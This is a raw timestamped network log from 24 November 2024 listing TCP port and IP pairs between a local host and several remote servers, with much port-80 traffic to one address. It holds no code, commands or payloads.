Nov 24, 2024 23:24:31.794224024 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.794224024 CET	49783	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.794253111 CET	443	49783	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.834595919 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.836307049 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.836397886 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.837064028 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.837085009 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.837173939 CET	49788	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:31.837193966 CET	443	49788	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:31.874294043 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.875631094 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.875655890 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.876605988 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.876610994 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.882086992 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.882507086 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.882550955 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.883394003 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.883400917 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.891252995 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:31.891638041 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:31.891655922 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:31.892710924 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:31.892847061 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:31.893744946 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:31.893820047 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:31.949482918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949517965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949532986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949548006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949577093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.949588060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949604034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949604988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.949620962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949644089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.949662924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.949681044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.949728012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.957736969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.957814932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.957855940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.957899094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.964092970 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.964159966 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.964232922 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.964685917 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.964704037 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.964715958 CET	49782	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:31.964720964 CET	443	49782	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:31.966109991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.966171980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:31.966201067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:31.966212988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.009490013 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.009552002 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.009627104 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.009980917 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.010011911 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.029016972 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:32.029025078 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:32.061531067 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.065460920 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.065526962 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.065536976 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.077115059 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.077171087 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.077178955 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.084372997 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.084428072 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.084435940 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.099602938 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.099675894 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.099692106 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.113312006 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.113393068 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.113400936 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.137495995 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:32.150193930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.150299072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.150329113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.150355101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.154208899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.154320002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.154396057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.162152052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.162205935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.165061951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.165112972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.165148973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.165266991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.173079967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.173160076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.173252106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.173305035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.180991888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.181046009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.181086063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.181197882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.181514025 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.181559086 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.181567907 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.185739994 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.185791016 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.185798883 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.188930988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.188985109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.189026117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.189074039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.194084883 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.194133997 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.194139957 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.196913004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.196969032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.197007895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.197069883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.204888105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.205048084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.205059052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.205252886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.212841988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.212898970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.212939024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.213000059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.219974041 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.220798969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.220871925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.220885038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.220933914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.221127033 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.221139908 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.221481085 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.222856998 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.222920895 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.222939968 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.228775024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.228828907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.228863001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.228970051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.231288910 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.231344938 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.231905937 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.232012987 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.232029915 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.232038975 CET	49792	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.232045889 CET	443	49792	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.234967947 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.234988928 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.235112906 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.235280991 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.235297918 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.245651960 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.245696068 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.245763063 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.246058941 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.246085882 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.246279955 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.246392012 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.246402025 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.246556997 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.246575117 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.263369083 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.270978928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.271003008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.271039009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.271049976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.274179935 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.274255037 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.274341106 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.274350882 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.274585009 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.281330109 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.294337034 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.294394970 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.294404030 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.303874969 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.303921938 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.303930044 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.308320999 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.308608055 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.308621883 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.308909893 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.308969975 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.308974981 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.308981895 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.309761047 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.309853077 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.309904099 CET	49803	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:32.313930988 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.313994884 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.314001083 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.324552059 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.324600935 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.324609041 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.326363087 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.326523066 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.326611042 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.326881886 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.326894999 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.326910019 CET	49797	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.326915979 CET	443	49797	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.327476978 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.328051090 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.328064919 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.328402996 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.328706980 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.328772068 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.328876019 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.330328941 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.330377102 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.330527067 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.330708981 CET	49811	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.330737114 CET	443	49811	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.335218906 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.335279942 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.335433960 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.335488081 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.335488081 CET	49798	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.335501909 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.335510015 CET	443	49798	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.337588072 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.337647915 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.337774992 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.337894917 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:32.337929010 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:32.338015079 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.338063002 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.338073969 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.351340055 CET	443	49803	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:32.351418972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.351592064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.351654053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.351880074 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.352040052 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.352047920 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.354368925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.354444981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.355516911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.355534077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.355578899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.355592012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.361524105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.361593008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.362605095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.365580082 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.365649939 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.365658045 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.367567062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.367624044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.367679119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.367815971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.371377945 CET	443	49802	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.373596907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.373653889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.373693943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.373742104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.376977921 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.377029896 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.377037048 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.379648924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.379702091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.379802942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.379848957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.385674000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.385739088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.385754108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.385824919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.388858080 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.388931990 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.388940096 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.391731977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.391813040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.391846895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.391977072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.397742987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.397795916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.397878885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.397938013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.400518894 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.400571108 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.400578976 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.403784990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.403851986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.403879881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.403934002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.407274008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.407326937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.407356024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.407407045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.410787106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.410836935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.410876036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.411037922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.412256956 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.412303925 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.412312031 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.414343119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.414386988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.414422035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.414470911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.417937040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.417989016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.418066025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.418111086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.421366930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.421428919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.421741962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.421802044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.424901009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.424952030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.425007105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.425057888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.427335024 CET	443	49801	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:32.427392006 CET	49801	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.428426981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.428478003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.428502083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.428600073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.431930065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.431977987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.432044029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.432085037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.434714079 CET	49802	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:32.435488939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.435558081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.435623884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.435864925 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.435962915 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.435970068 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.438947916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.438975096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.438998938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.439028978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.440027952 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.440076113 CET	49771	443	192.168.2.5	142.250.181.65
Nov 24, 2024 23:24:32.440083981 CET	443	49771	142.250.181.65	192.168.2.5
Nov 24, 2024 23:24:32.442483902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:32.442548990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:32.442579985 CET	80	49760	185.215.113.206	192.168.2.5
